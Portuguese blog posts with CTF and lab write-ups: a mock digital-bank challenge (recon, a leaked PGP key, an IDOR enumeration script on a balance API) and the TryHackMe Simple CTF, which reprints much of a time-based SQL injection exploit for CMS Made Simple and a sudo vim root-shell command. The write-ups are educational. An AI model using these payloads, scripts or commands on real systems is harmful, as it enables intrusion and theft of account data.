Meu Blog

A ideia desse texto é mostrar como foi o processo de resolução do Desafio proposto pela Tempest Security Intelligence no teste específico para a vaga de Estágio em Consultoria Técnica edição 2025.2. O único objetivo é educativo.

Harpia-tech.site

Basicamente fui contrada para realizar uma análise de segurança do novo banco digital do mercado chamado DigiHarp. A aplicação necessita de uma investigação minuciosa para encontrar possíveis vulnerabilidades e evitar ataques mal-intencionados. O endereço é https://harpia-tech.site.

Por se tratar de um banco digital, o mesmo traz algumas informações que possam chamar a atenção de um consumidor e além disso, possuem um video de apresentação do banco, trazendo inclusive a inspiração na Harpia.

Security

DigiHarp deixa claro sobre as medidas de segurança utilizadas para a proteção de dados financeiros e transações, desde a autenticação biométrica até a detectação de fraudes em tempo real e a utilização de PGP (Pretty Good Privacy) para criptografar as informações. Este ponto do pgp é importante, porque vai ser o centro da resolução do desafio.

DigiHarp - Presentation

Clicando no video de apresentação somos redirecionados para o video na plataforma do youtube e que está como não listado, apresentando um pouco do banco e a resposta referente a primeira questão sobre o nome do social manager está bem no início da descrição e de plus também uma chave privada pgp exposta no final dessa descrição!

Chave privada pgp

🔑 Public Key for Secure Communications:
----BEGIN PGP PRIVATE KEY BLOCK----
[Conteúdo]
----END PGP PRIVATE KEY BLOCK----

A chave privada precisa estar bem estruturada, para que seja importada e neste caso, foi salvo como private.key.

Wappalyzer, Enumeração de subdomínios, nmap e Shodan

Com o wappalyzer foi possível verificar as tecnologias utilizadas como node.js, express, nginx, etc, que poderiam ser úteis em uma possibilidade de análise de CVE ou um fuzzing mais inteligente, tentando fazer brute-forces com wordlists específicas. E de quebra ocorreu uma tentativa de enumeração de subdomínios, mas sem sucesso relevante.

Com a extensão do shodan tínhamos acesso ao IP do alvo e hostnames que confirmam o uso de cloud aws, além da porta aberta 443, mas nada que fosse de fato relevante para a resolução do desafio. Apenas coleta de informações.


nmap -sV -p- -vv IP-HARPIA-TECH.SITE    
Not shown: 65534 filtered tcp ports (no-response)
PORT    STATE SERVICE  REASON  VERSION
443/tcp open  ssl/http syn-ack nginx

endpoints e login

Foi feita a análise de cada endpoint do site para encontrar alguma informação relevante, dentre elas o login, por trazer a possibilidade de talvez existir uma conta de usuário vagando por aí ou até mesmo tentar realizar a enumeração de usernames e possivelmente fazer um brute-force na senha, mas é claro que não seria tão simples assim, pois dentre as tecnologias que o wappalyzer capturou havia uma de captcha chamada hcaptcha que dificultaria esse brute-force e ao tentar realizar login com o famoso admin-admin, o mesmo apenas informa credenciais inválidas, sem dar qualquer vestígio de enumeração de um usuário válido e mesmo tentando capturar via burp suite para forçar as tentativas de logar, o fato de ter hcaptcha inibe isso e força o uso de um novo token de captcha na requisição.

Foi mapeado todos os endpoints até então possíveis diante do que foi verificado pelo dev tools e burp suite. Apesar de existir um endpoint /dashboard que é redirecionado pós login, seria difícil de bypassar o mesmo devido as dificuldades no endpoint de /login.

https://harpia-tech.site/cards.html
https://harpia-tech.site/savings.html
https://harpia-tech.site/loans.html
https://cdn.jsdelivr.net/npm/chart.js
https://harpia-tech.site/api/logout
https://harpia-tech.site/checking.html
https://harpia-tech.site/dashboard.html
https://harpia-tech.site/analytics.html
https://harpia-tech.site/
https://harpia-tech.site/support.html
https://harpia-tech.site/images/cardgeneric.png
https://harpia-tech.site/products.html
https://harpia-tech.site/login
https://harpia-tech.site/harpia-logo-removedbg.png
https://harpia-tech.site/api/balance
https://harpia-tech.site/investments.html
https://harpia-tech.site/api/transactions
https://harpia-tech.site/api/login
https://harpia-tech.site/login.html
https://harpia-tech.site/dashboard

Além dos endpoints usuais, também havia algumas voltadas a api além do login, dando sinal de que poderia haver algum diretório solto ou que pudesse trazer algo interessante. Entretanto, para isso foi necessário realizar um fuzzing usando ffuf com diretórios comuns e além disso também específicos voltados para apis, etc., mas só foi encontrado uma rota escondida chamada /backup.

ffuf -u https://harpia-tech.site/FUZZ -w wordlist.txt -mc 200,304 -fs 404

/backup    [Status: 200, Size: xxx, Words: xxx, Lines: 118, Duration: 213ms]

Nele tinha um arquivo zipado intitulado routes e dentro dele 5 arquivos pgp que possuíam mensagens e informações criptografadas, mas que apenas um dos arquivos seria descriptografado pela passphrase correta da chave privada, pois as outras estariam usando subchaves diferentes.

Easter Egg

Ao tentar ir pelo caminho fácil de tentar encontrar o robots.txt, a pessoa é redirecionada para a musica do Rick Astley - Never Gonna Give Up hahaha, acabando com os nossos sonhos.

https://www.youtube.com/watch?v=dQw4w9WgXcQ&ab_channel=RickAstley

Importação de chave privada

O cenário parecia perfeito, até que fosse necessário importar a chave privada pgp, e se deparar com a solicitação da frase secreta, tanto que foi o maior problema para resolução, pois não conseguia encontrar nada relacionado a uma possível passphrase. Apenas a frase secreta nos separava da glória, para conseguir descriptografar a mensagem pgp e assim ter acesso as informações necessárias para finalizar o desafio.

Após diversas tentativas, havia algo que não tinha de fato tentado decentemente, que foi OSINT PARA DENTRO (pegou mal né) a favor dos meros mortais, como Google Dorks e GitHub Dorks, mas antes disso também foi analisado possibilidades no Linkedin, Twitter ou algo que estivesse relacionado com a empresa ou o social manager Donald Okard. No fim, nada foi encontrado e tudo estava mais óbvio do que nunca, o lugar que teria tal informação seria justamente o GitHub.

GitHub Dorks

Usando o buscador do github foi possível encontrar um repositório do DigiHarp chamado PGP-EncDec-System.

Foi então que tudo fez sentido e as coisas realmente funcionaram no processo de resolução do teste. Ao adentrar nele havia as informações para instruir novos funcionarios sobre como o sistema de pgp da empresa funcionava.

Descriptografando

Com o acesso ao passphrase só é necessário importar finalmente e descriptografar o arquivo que realmente tinha as informações da rota e é justamente o marketing.pgp.

gpg --import private.key

gpg --decrypt marketing.pgp 
gpg: cifrado com chave rsa2048, ID F3C9104ACEE74A87, criado em 2025-07-08
      "DigiHarp Backup <backup@digiharp.com>"
{
  "openapi": "3.0.0",
  "info": {
    "title": "DigiHarp Bank API",
    "version": "1.0.0",
    "description": "Backup of some random API endpoints."
  },
  "paths": {
    "/active-user": {
      "get": {
        "summary": "Get active admin user",
        "responses": {
          "200": {
            "description": "Admin credentials",
            "content": {
              "application/json": {
                "schema": {
                  "type": "object",
                  "properties": {
                    "username": {
                      "type": "string"
                    },
                    "password": {
                      "type": "string"
                    }
                  }
                },
                "example": {
                  "username": "admin",
                  "password": "***************"
                }
              }
            }
          }
        }
      }
    },
    "/accounts": {
      "get": {
        "summary": "List all user accounts",
        "responses": {
          "200": {
            "description": "Accounts list"
          }
        }
      }
    },
    "/accounts/{accountId}": {
      "get": {
        "summary": "Get account details",
        "responses": {
          "200": {
            "description": "Account details"
          }
        }
      }
    },
    "/accounts/{accountId}/balance": {
      "get": {
        "summary": "Get account balance",
        "responses": {
          "200": {
            "description": "Account balance"
          }
        }
      }
    },
    "/accounts/{accountId}/transactions": {
      "get": {
        "summary": "List account transactions",
        "responses": {
          "200": {
            "description": "Transaction list"
          }
        }
      }
    },
    "/transactions": {
      "post": {
        "summary": "Create a new transaction",
        "responses": {
          "201": {
            "description": "Transaction created"
          }
        }
      }
    },
    "/transactions/{transactionId}": {
      "get": {
        "summary": "Get transaction details",
        "responses": {
          "200": {
            "description": "Transaction details"
          }
        }
      }
    },
    "/cards": {
      "get": {
        "summary": "List all cards",
        "responses": {
          "200": {
            "description": "Cards list"
          }
        }
      }
    },
    "/cards/{cardId}/block": {
      "post": {
        "summary": "Block a card",
        "responses": {
          "200": {
            "description": "Card blocked"
          }
        }
      }
    },
    "/loans": {
      "get": {
        "summary": "List available loan offers",
        "responses": {
          "200": {
            "description": "Loan offers"
          }
        }
      }
    },
    "/loans/apply": {
      "post": {
        "summary": "Apply for a loan",
        "responses": {
          "201": {
            "description": "Loan application submitted"
          }
        }
      }
    },
    "/investments": {
      "get": {
        "summary": "List investment products",
        "responses": {
          "200": {
            "description": "Investment products"
          }
        }
      }
    },
    "/investments/{investmentId}/status": {
      "get": {
        "summary": "Get investment status",
        "responses": {
          "200": {
            "description": "Investment status"
          }
        }
      }
    },
    "/support/tickets": {
      "post": {
        "summary": "Open a support ticket",
        "responses": {
          "201": {
            "description": "Ticket created"
          }
        }
      }
    },
    "/notifications": {
      "get": {
        "summary": "Get user notifications",
        "responses": {
          "200": {
            "description": "Notifications list"
          }
        }
      }
    },
    "/profile": {
      "get": {
        "summary": "Get user profile",
        "responses": {
          "200": {
            "description": "User profile"
          }
        }
      },
      "put": {
        "summary": "Update user profile",
        "responses": {
          "200": {
            "description": "Profile updated"
          }
        }
      }
    }
  }
}

Dashboard

Aqui só foi partir para o abraço, pois tinha informações dos endpoints da api, apesar de nem todos estarem de fato acessível, mas tinhamos já a conta do admin (ele sempre está entre nós, é inevitável) e a senha, que estavam como exemplo, na rota de /active-user. Agora só restava encontrar as duas últimas respostas sobre o endereço da conta do administrador e o saldo da conta do usuário perik_lin!

Ao logar, a resposta da terceira pergunta está no final da página.

Por fim, resta apenas a última questão sobre o saldo do usuário perik_lin, mas para isso é necessário entender a lógica de como funciona o range do id dos usuários e assim ter a possibilidade de enumeração até nosso perik. Um ponto é que poderia tentar acessar o endpoint /accounts da api, que teoricamente listaria todos os usuários e suas respectivas informações, no entanto, a mesma não está acessível aos meros mortais e dando assim o temido erro 404.

 "/accounts/{accountId}/transactions": {
      "get": {
        "summary": "List account transactions",
        "responses": {
          "200": {
            "description": "Transaction list"
          }
        }
      }
    },

Mas no endpoint /transactions é possível ter uma dimensão dos ids e o range desses user_id através das transações que foram feitas.

A resposta para a última pergunta está no endpoint /api/balance, no qual a partir do parâmetro user_id, podemos testar qualquer número inteiro e ter acesso ao nome e saldo da pessoa.
Para facilitar o trabalho, a IA tornou o processo mais prático, tendo em vista o tamanho do range e ajudou a desenvolver um script em python para automatizar o processo e ter acesso ao saldo da última pergunta.

Script

import requests
import json

COOKIE = "biscoitos_da_sessão"
URL = "https://harpia-tech.site/api/balance"

headers = {
    "Cookie": f"connect.sid={COOKIE}",
    "Content-Type": "application/json",
    "Accept": "application/json",
    "User-Agent": "TudoNossoNadaDeles/5.0",
}

def main():
    for uid in range(1, 1001):  
        try:
            resp = requests.post(URL, headers=headers, json={"user_id": str(uid)}, timeout=10)

            if resp.status_code == 200:
                data = resp.json()
                if "error" in data:
                    print(f"[{uid}]  {data['error']}")
                else:
                    msg = data.get("message", "")
                    bal = data.get("balance", "?")
                    print(f"[{uid}]  {msg} | Saldo: {bal}")

                    if "perik_lin" in msg.lower(): 
                        print("\n Encontrado o usuário Perik Lin!")
                        print(f"UserID: {uid} | Saldo: {bal}")
                        break
            else:
                print(f"[{uid}]  HTTP {resp.status_code}")

        except Exception as e:
            print(f"[{uid}] Erro: {e}")

if __name__ == "__main__":
    main()

e a mágica aconteceu:

Conclusão

O desafio foi bem interessante, acredito que se pode construir e dar uma margem de aprendizado bem bacana em volta de recon. Vale bastante a revisão através de laboratórios do HackTheBox e TryHackMe, que ajudam bastante no aprendizado e seguir sempre nessa jornada de conhecimento. Se não conseguiu, está tudo bem, a primeira vez que realizei o desafio da Tempest, não tinha resolvido também e fiquei bastante abalada com meu pouco conhecimento, mas decidi que iria melhorar e resolver o teste específico e assim foi, aqui estou eu fazendo um write up sobre isso ;) , mas não significa que deixei de ter pouco conhecimento, ainda tenho muito o que aprender hihi. Não estou aqui para te dizer o que é certo ou errado nessa caminhada, porque também sou uma iniciante, mas jamais desista, é muito importante ter resiliência e disciplina.

Até a próxima pessoal.

Easy CTF - Uma breve jornada de exploração com base no modelo OSI

Obtuosa — Sat, 23 Nov 2024 12:51:05 +0000

Quando se está estudando sobre fundamentos de redes, entendendo sobre o modelo OSI, arquitetura TCP/IP e etc., na mente fica o grande questionamento de como assimilar esses conceitos no cotidiano ou pelo menos de uma forma clara sobre seu funcionamento . E é por isso que esse texto irá trabalhar com essa assimilação usando a máquina Easy CTF, uma simples lab, que nesse momento irá ajudar a trabalhar um pouco sobre como operam as camadas e as interações que ocorrem entre elas no modelo OSI.

Antes de iniciar com a máquina, alguns conceitos precisam ser relembrados, ainda que de maneira breve, mas para reforçar o que se propõe esse pequeno laboratório.

Introdução à Rede de Computadores

Rede de computadores são basicamente dispositivos interligados que trocam informações entre si. Nesse sentido, a rede é construída por dois aspectos principais: Conexão física e Conexão Lógica.

Conexão Física: A infraestrutura física que realiza a conexão dos dispositivos. Exemplos: cabos, fios, roteadores, etc.
Conexão Lógica: Aqui seria o caminho que é estabelecido entre esses dispositivos para que ocorra essa comunicação, o transporte desses dados. Nesse aspecto, não é dependente dessa infraestrutura física, porque é com os dispositivos são configurados que ocorre essa comunicação entre si. Exemplos: protocolos, endereços IP, etc.

Para que essa comunicação ocorra é necessário regras, de maneira mais direta: protocolos. Seria uma completa bagunça se não houvessem convenções e regras para definir como o seu dispositivo se comunique, por exemplo, com o servidor da Google e fosse possível acessar a página principal. Então, é fundamental o formato, sequência, como os dados são trocados, etc, para que seja possível processar as informações corretamente, de maneira eficiente e sem erros. Alem disso, existem diversos tipos de redes, que são classificados de acordo com o alcance geográfico e arquitetura, como por exemplo: LAN (Local Area Network) que seria uma rede pequena, mais local, como casa, escritório, etc., e MAN (Metropolitan Area Network) uma rede maior que a LAN para campus universitário, cidade, etc.

Em rede de computadores existem dois modelos bastante comuns de comunicação: Peer-to-Peer (P2P) e Client-Server. Existem outros, mas não serão o foco.

Peer-to-Peer (P2P)

No modelo ponto a ponto os dispositivos da rede possuem funções iguais. Cada um pode atuar como cliente ou como servidor Não se tem um controle centralizado sobre os recursos que são compartilhados e qualquer dispositivo pode compartilhar seus recursos. Exemplo: Torrent.

Client-Server

No modelo cliente-servidor a rede é construída entre cliente e servidores. No qual, o cliente (computador) solicita um tipo de serviço ou recurso ao servidor. Exemplo disso é o ato de navegar pela web.

Modelo OSI

O modelo OSI (Open Systems Interconnection) é um modelo conceitual com propósito de compreender como ocorre a comunicação em rede de computadores e é dividida em 7 camadas:

Camada 1 - Física tem o objetivo de realizar a transmissão física de dados através de cabos e sinais elétricos. Exemplos: Conexões fibra óptica e Cabos Ethernet.
Camada 2 - Enlace seria o fiscal da transmissão desses dados, para que não ocorra erros entre os dispositivos conectados. Exemplos: Ethernet e Wi-Fi.
Camada 3 - Rede é como o remetente e o destinatário, através do endereço de IP determina o caminho que os dados seguem entre os dispositivos. Exemplos: Protocolos IP e Roteadores.
Camada 4 - Transporte como o próprio nome diz é o que garante o envio e o recebimento desses dados da camada três. Exemplos: TCP e UDP.
Camada 5 - Sessão tem como função estabelecer e também encerrar a conexões entre aplicações. Exemplos: SSH e SCP.
Camada 6 - Apresentação realize a formatação dos dados, para que possa ser compreendida pela camada superior. Exemplos: SSL/TLS e JPEG.
Camada 7 - Aplicação oferece serviços e as interfaces para as aplicações dos usuários. Essa é a camada mais próxima do usuário. Exemplos: HTTP e HTTPS. O proposito desse modelo é ajudar na padronização, ser uma referência teórica e contribuir para o entendimento sobre a interação entre os componentes de uma rede e assim facilitando a resolução de possíveis problemas.

Início da jornada

Reconhecimento

O reconhecimento inicial é o passo mais importante, porque assim terá não só conhecimento sobre o alvo, mas também a maneira como será operado os primeiros passos para suceder um comprometimento inicial e acesso a informações importantes. Para além disso, é a etapa que sempre estará presente, mesmo após obter sucesso, sempre haverá um novo reconhecimento para ser feito de acordo com a elevação dos passos dados pelo invasor. Além disso, reconhecimento foi bastante retratado no texto Máquina Valley do TryHackMe e o ciclo de vida de um ciberataque.

Como já foi trabalhado de maneira breve sobre o que seria a camada 7, este é o primeiro contato com o alvo e é a camada mais próxima do usuário. A primeira visão dada é de uma página padrão do Apache2, apesar de não ter um conteúdo mais personalizado no que tange ao front-end é possível retirar algumas informações sobre esse servidor web, que utiliza o protocolo HTTP, nesse caso já teria uma possível falha, pois as solicitações e respostas são HTTP, ou seja, essas comunicações são realizadas em texto simples e não existe uma criptografia do que está sendo solicitado, algo que os protocolos de segurança TLS/SSL ajudariam bastante e apesar serem protocolos característicos da Camada de Apresentação, também é implementado em conjunto com os protocolos da Camada de Aplicação.
Outro ponto interessante é a estrutura do Apache apresentada:

O arquivo principal presente no diretório: /etc/apache2/apache2.conf.
A configuração de portas: /etc/apache2/ports.conf.
Além de diretórios para os módulos,configurações globais, etc.

Nesse processo duas ferramentas foram muito importantes, o primeiro é o nmap, para o escaneamento de portas, e o segundo é o ffuf para buscar diretórios.

Nmap

O escaneamento de portas com a ferramenta Nmap envolve três camadas importantes. O primeiro, pensando na perspectiva do usuário é de aplicação, porque a flag -sV realiza uma interação com a camada 7, pois o nmap envia pacotes específicos para interagir com os protocolos dessa camada e assim possibilitar a identificação das informações necessárias sobre esses serviços em execução. Enquanto na camada de Transporte, esse processo de escaneamento utiliza protocolo TCP, a ideia é compreender como essa comunicação de identificação de serviços funcionam e o conceito por trás dos protocolos, pois é através dessa entrega de pacotes e as informações fornecidas, que é possível reconhecer as portas que estão abertas. Na camada de Rede, essa troca acontece com o endereço IP, para que possa ser enviado esses pacotes ao servidor web alvo.
Além disso, você consegue obter duas respostas para as duas primeiras perguntas do desafio do Simple CTF:

How many services are running under port 1000?
What is running on the higher port?

nmap -v -sV -p 1-3000 [IP-ALVO]

ffuf

O ffuf tem foco principal na camada de aplicação, porque utiliza do protocolo HTTP ou HTTPS para realizar requisições ao servidor web e assim encontrar diretórios ou arquivos, mas não é uma exclusividade esse foco com a camada de aplicação, pois o mesmo também interage com outras camadas, para que assim ocorra seu funcionamento e vasculhar por qualquer vestígio de informações. Com ele é possível encontrar o diretório /simple e ter acesso a informações sobre o CVE 2019-9053 que é o estopim para ter um comprometimento inicial do servidor web. Mas, vale lembrar que as requisições HTTP do ffuf dependem do protocolo TCP, ou seja, temos aqui mais uma vez a camada de transporte presente, porque é estabelecida uma conexão confiável entre o cliente-servidor. Caso essa conexão fosse realizada pelo protocolo UDP, seria um problema, pois o mesmo não tem a garantia de entrega dos dados que são enviados. Assim como no nmap, o endereço IP também é usado para endereçar os pacotes que são enviados ao servidor e de encontro com a camada de rede.

Diretório /simple

No diretório /simple é possível observar que utiliza o CMS Made Simple(CMSMS) para gerenciar o conteúdo, basicamente o objetivo é criar e gerenciar os sites da web de maneira mais simples e eficiente. No entanto, o fato de não atualizarem o sistema impactou diretamente na segurança do website e com uma busca simples pelo google é possível encontrar o CVE 2019-9053. CVE é um sistema de padronização que possibilita identificar e catalogar vulnerabilidades e exposições de segurança e é através desse catálogo que é possível encontrar um exploit no exploit-db, que é basicamente um repositório público de exploits para acessar vulnerabilidades.

Esse exploit é um SQL Injection que coloca comandos maliciosos em uma consulta do banco de dados SQL e poder manipular para ter acesso a principalmente credenciais, além das possibilidades de alterar as informações presentes naquele banco de dados, realizar escalonamento de privilégios, criação de novos usuários e diversas possibilidades. Esse exploit afeta justamente versões abaixo do 2.2.10 do CMS Made Simple.

Exploit 46635.py

Módulos

import requests
from termcolor import colored
import time
from termcolor import cprint
import optparse
import hashlib

Este exploit utiliza de alguns módulos para que possa ter um bom funcionamento:

requests: O objetivo desse módulo é permitir mais praticidade para enviar pedidos HTTP/1.1.
colored e cprint: O termcolor tem o propósito de realizar uma formatação de cores ANSI para o output do terminal. O que torna a interface mais agradável.
time: Este módulo fornece as diversas funções relacionadas ao tempo.
optparse: Uma biblioteca que lida com as linhas de comandos necessárias para realiza configurações desse exploit.
hashlib: Essa lib tem principal foco calcular as hashes.

Definição de Argumentos do Parser

parser = optparse.OptionParser()
parser.add_option('-u', '--url', action="store", dest="url", help="Base target uri (ex. http://10.10.10.100/cms)")
parser.add_option('-w', '--wordlist', action="store", dest="wordlist", help="Wordlist for crack admin password")
parser.add_option('-c', '--crack', action="store_true", dest="cracking", help="Crack password with wordlist", default=False)

options, args = parser.parse_args()

Com o fato lidar com as linhas de comandos que serão configuradas em prol ao exploit, o optparse.OptionParser() define os argumentos que o usuário poderá passar para o script. O -u para url, -w para a seleção da wordlist que será usada para quebrar a senha e o -c para que seja ativada essa quebra de senha.
Essa configuração do url alvo constrói uma conexão com a Camada de Aplicação, quando se está determinando qual o endpoint que será explorado.

Validação do URL

if not options.url:
    print "[+] Specify an url target"
    print "[+] Example usage (no cracking password): exploit.py -u http://target-uri"
    print "[+] Example usage (with cracking password): exploit.py -u http://target-uri --crack -w /path-wordlist"
    print "[+] Setup the variable TIME with an appropriate time, because this sql injection is a time based."
    exit()

Após a definição dos argumentos do Parser é realizada uma verificação, caso a url passada pelo usuário seja válida. Se for inválida, é lançado no output do terminal um script com instruções de ajuda e finaliza a execução do exploit, porque é necessário que esses dados estejam corretos, para que a conexão HTTP ocorra, garantindo a Camada de Aplicação o recebimento das informações adequadamente.

Variáveis

url_vuln = options.url + '/moduleinterface.php?mact=News,m1_,default,0'
session = requests.Session()
dictionary = '1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM@._-$'
flag = True
password = ""
temp_password = ""
TIME = 1
db_name = ""
output = ""
email = ""

salt = ''
wordlist = ""

Nesse estágio do exploit são definidas as variáveis que constituem o ataque:

url_vuln: O alvo do ataque que são a url principal e o endpoint vulnerável. Consequentemente é definido o recurso no servidor web alvo que será possivelmente acessado e também explorado. Além disso, são feitas requisições HTTP, que atuam na camada de aplicação.
session: É criada uma sessão HTTP, que mesmo após o servidor processar a requisição e enviar de volta a resposta, a mesma não é fechada e garante ao cliente uma nova requisição. A camada de sessão se faz presente para que seja possível gerenciar a persistência dessas conexões HTTP.
dictionary: São os caracteres que serão usados para a força bruta. Através desses conjuntos de caracteres usados nesse processo de força bruta terá uma estrutura específica, tanto hexadecimal, para que seja possível gerar os payloads do SQL Injection, quanto hash MD5 e as senhas possam ser comparadas durante a quebra. Portanto, ocorre uma manipulação e também conversão dos dados, no qual a camada de apresentação lida, ou seja, transformando esses formatos de dados entre o sistema e a rede.
flag: Variável utilizada em relação a controle, para que ao ser usada em loops possa determinar se o processo da extração de dados deve continuar ou não.
password: Tem como objetivo armazenar a senha que será extraída do banco de dados no processo de SQL Injection. Dentro dessa perspectiva, esse campo também retrata uma etapa da apresentação quanto as possibilidades da senha ser convertida para diversos formatos e ser autenticada e quando isso ocorre se torna parte das credenciais usadas para o acesso de sistema do alvo, por parte da aplicação.
temp_password: É um campo temporário que busca construir e também testar as possíveis combinações de caracteres das hashes no processo de extração da senha. Esses valores são justamente manipulados e também testados contra a url vulnerável do servidor web.
TIME: Define o atraso em segundos que serão necessários para que seja validado o SQL Injection. Caso o tempo de resposta seja maior do que a definida, isso irá indicar que o payload foi realizado.
db_name: Armazenamento de nome de usuário do banco de dados obtido através do SQL Injection. Mais uma vez a camada de apresentação se faz presente por se tratar de um dado que pode ser convertido para diversos formatos durante a extração e apresentação, alem de ser uma informação da aplicação alvo.
email: Armazenamento do e-mail capturado do banco de dados do servidor web e por consequência também pode ser formatado ou validado antes de ser exibido na apresentação desse dado.
salt: É um valor utilizado para proteger as senhas no banco de dados. É necessário tentar extrair esse valor, para que seja possível realizar ataques de força bruta nas senhas. Como resultado, é parte da apresentação por ser manipulado e processado em formato hash MD5, antes de ocorrer a comparação ao hash das senhas armazenadas.
wordlist: Essa variável armazena o diretório/caminho fornecido pelo usuário para um arquivo com uma lista de palavras que serão usadas como possíveis senhas e testadas em comparativo com a hash da senha combinado em conjunto com o salt. Essas palavras que serão listadas são processadas e também manipuladas, pois são relacionadas ao salt e após isso convertidas para hashes MD5, antes de serem de fato comparadas com a hash da senha armazenada.

if options.wordlist:
    wordlist += options.wordlist

É importante ressaltar que essa condição apresentada acima após a definição das variáveis verifica se o usuário forneceu um caminho para o o arquivo de wordlist através do argumento definido pelo optparse. Caso tenha sido passado, o mesmo é adicionado a variável wordlist e a mesma passa a ter o diretório completo do arquivo que será usado para força bruta.

Função crack_password

def crack_password():
    global password
    global output
    global wordlist
    global salt
    dict = open(wordlist)
    for line in dict.readlines():
        line = line.replace("\n", "")
        beautify_print_try(line)
        if hashlib.md5(str(salt) + line).hexdigest() == password:
            output += "\n[+] Password cracked: " + line
            break
    dict.close()

Essa função basicamente lê a wordlist linha por linha e também combina cada entrada com o salt do banco de dados. Desse modo, também gera o hash MD5 para que seja possível comparar com a senha encontrada no banco de dados. Logo, esse processo é uma manipulação de dados criptográficos presente na apresentação.

Função dump_salt

def dump_salt():
    global flag
    global salt
    global output
    ord_salt = ""
    ord_salt_temp = ""
    while flag:
        flag = False
        for i in range(0, len(dictionary)):
            temp_salt = salt + dictionary[i]
            ord_salt_temp = ord_salt + hex(ord(dictionary[i]))[2:]
            beautify_print_try(temp_salt)
            payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_siteprefs+where+sitepref_value+like+0x" + ord_salt_temp + "25+and+sitepref_name+like+0x736974656d61736b)+--+"
            url = url_vuln + "&m1_idlist=" + payload
            start_time = time.time()
            r = session.get(url)
            elapsed_time = time.time() - start_time
            if elapsed_time >= TIME:
                flag = True
                break
        if flag:
            salt = temp_salt
            ord_salt = ord_salt_temp
    flag = True
    output += '\n[+] Salt for password found: ' + salt

A função dump_salt realiza o processo de construção dos payloads SQL de maneira repetida para que seja possível capturar o salt, pois sem o salt não é possível conseguir as credenciais. Tanto que nesse momento, pode ser visto bem a interação por parte da camada 6, porque ocorre manipulação dos caracteres com a função hex(), em conjunto com a ord() e o envio
desses payloads HTTP para a camada de aplicação.
Uma questão importante é que o mesmo processo acontece nas outras funções, como a dump_password, dump_username e dump_email. A construção dos payloads, que é gerada por cada função em busca de um valor específico, a requisição de envio, que é justamente o mesmo endpoint, para obter as informações dessa aplicação vulnerável. Um ponto interessante é como a camada de apresentação faz a manipulação desses dados para os formatos necessários, seja de conversão para hexadecimal e construir os payloads, quanto o ato de unir esses caracteres e refazer essas informações que foram obtidas.

Por fim, para que seja possível iniciar esse exploit é necessário o python2:

curl https://bootstrap.pypa.io/pip/2.7/get-pi.py -o get-pip.py

python2 get-pip.py

python2 -m pip --version 

python -m pip install requests
python2 -m pip install --upgrade pip setuptools
python2 -m pip install termcolor

python2 exploit.py -u "http://IP/simple" -c -w /usr/share/wordlists/dirb/rockyou.txt

Comprometimento

SSH

O Secure Shell (SSH) é um protocolo que utiliza criptografia para que seja possível estabelecer conexões remotas de forma segura entre computadores.

A ideia principal é entender o funcionamento do protocolo SSH durante a invasão. O primeiro ponto é estar principalmente na camada de aplicação, por ser um protocolo criado para que essas conexões ocorram de maneira mais segura ao acessar o servidor web do alvo via SSH, existem dois pontos importantes: A autenticação, no caso do usuário Mitch e a sessão remota, que é o acesso ao sistema operacional no servidor, que no caso é Ubuntu (Linux), com isso é possível usar comandos, executar processo, etc.
O protocolo SSH perpassa também outras camadas como a de transporte, para que seja possível uma conexão confiável entre cliente e servidor, assim o protocolo TCP se faz presente mais uma vez. A camada de Rede em virtude do protocolo IP, que já foi visto anteriormente e o de enlace, porque o protocolo depende dessa camada para que os dados sejam enviados corretamente entre os dispositivos físicos na rede, algo como "encapsulamento" desses dados, mas não um encapsulamento em definitivo.

Quanto ao processo do alvo até a flag existem três pontos legais:

Além do Mitch, existem um segundo usuário que é a resposta para o: Is there any other user in the home directory? What's its name?
A captura da primeira flag user.txt.
Com o comando sudo -l é possível mostrar os privilégios do usuário atual, no caso do Mitch e o mesmo pode executar o comando vim no diretório /usr/bin com o máximo de privilégio no sistema. É através desse comando que se tem a resposta para o: What can you leverage to spawn a privileged shell?. E em consequência a elevação de privilégios e acesso a última flag.

Elevação de privilégios

Por fim, para realizar e ter acesso a última flag é basicamente utilizar o comando de acesso ao vim e já incrementando uma opção que possa viabilizar a execução do comando bash e ter acesso ao servidor web como root.

sudo /usr/bin/vim -c ":!bash"

Portanto, foi possível ter acesso ao root e a última flag dessa máquina e mantendo assim um ciclo de ataques, numa perspectiva mais simples de um invasor. Algo que já foi construído no texto mencionado mais acima: Máquina Valley do TryHackMe e o ciclo de vida de um ciberataque

Conclusão

O princípio maior dessa máquina foi justamente ter um pouco de compreensão da interação entre as camadas , com foco no modelo OSI e observar o funcionamento, para além dos conceitos já existentes. Desde a camada de aplicação, no qual é o mais próximo do cliente e assim destrinchar os caminhos traçados, seja com ferramentas como nmap e ffuf, além de protocolos como IP, TCP, SSH e outros conceitos que foram abordados no decorrer do processo. Muitas vezes, nos prendemos a teoria e deixamos de lado a parte prática, que é justamente um fator importante para o processo de aprendizado.
Te vejo na próxima jornada!

Máquina Valley do TryHackMe e o ciclo de vida de um ciberataque

Obtuosa — Sun, 22 Sep 2024 15:26:33 +0000

Quando se pensa em um ciberataque podemos imaginar principalmente sobre a metodologia utilizada por um determinado atacante. Desta maneira, traçar os passos que foram adotados até suceder o ataque é muito importante, se questionando sobre o que o atacante faria? diante por exemplo de uma aplicação web, que é justamente o nosso alvo exemplo. O principal objetivo desse texto é dissecar o processo até o encontro das flags da hacking lab, mas assimilando com os conceitos de Cyber Attack Lifecycle, já que podemos observar como o nosso atacante poderia operar nesse contexto. Logo, a ideia é trazer essa pequena percepção de um ciberataque do mundo real, mas de maneira bem simples e é claro que de maneira legal, com a room Valley, da plataforma TryHackMe.

Introdução

Antes de começar o processo de análise e resolução da máquina é importante explicar o que seria um Cyber Attack Lifecycle ou Attack Lifecycle (Ciclo de vida do ataque cibernético / Ciclo de vida do ataque), porque é justamente a partir dessa metodologia que se inicia os passos de invasão à máquina Valley.

Uma metodologia na perspectiva de um hacking ético é basicamente mapear o processo de um ataque, de acordo com o contexto e objetivo do autor. Deste modo, iremos usar como base um modelo bem interessante: Attack Lifecycle, através dele podemos observar de maneira detalhada o passo a passo do invasor.

Attack Lifecycle

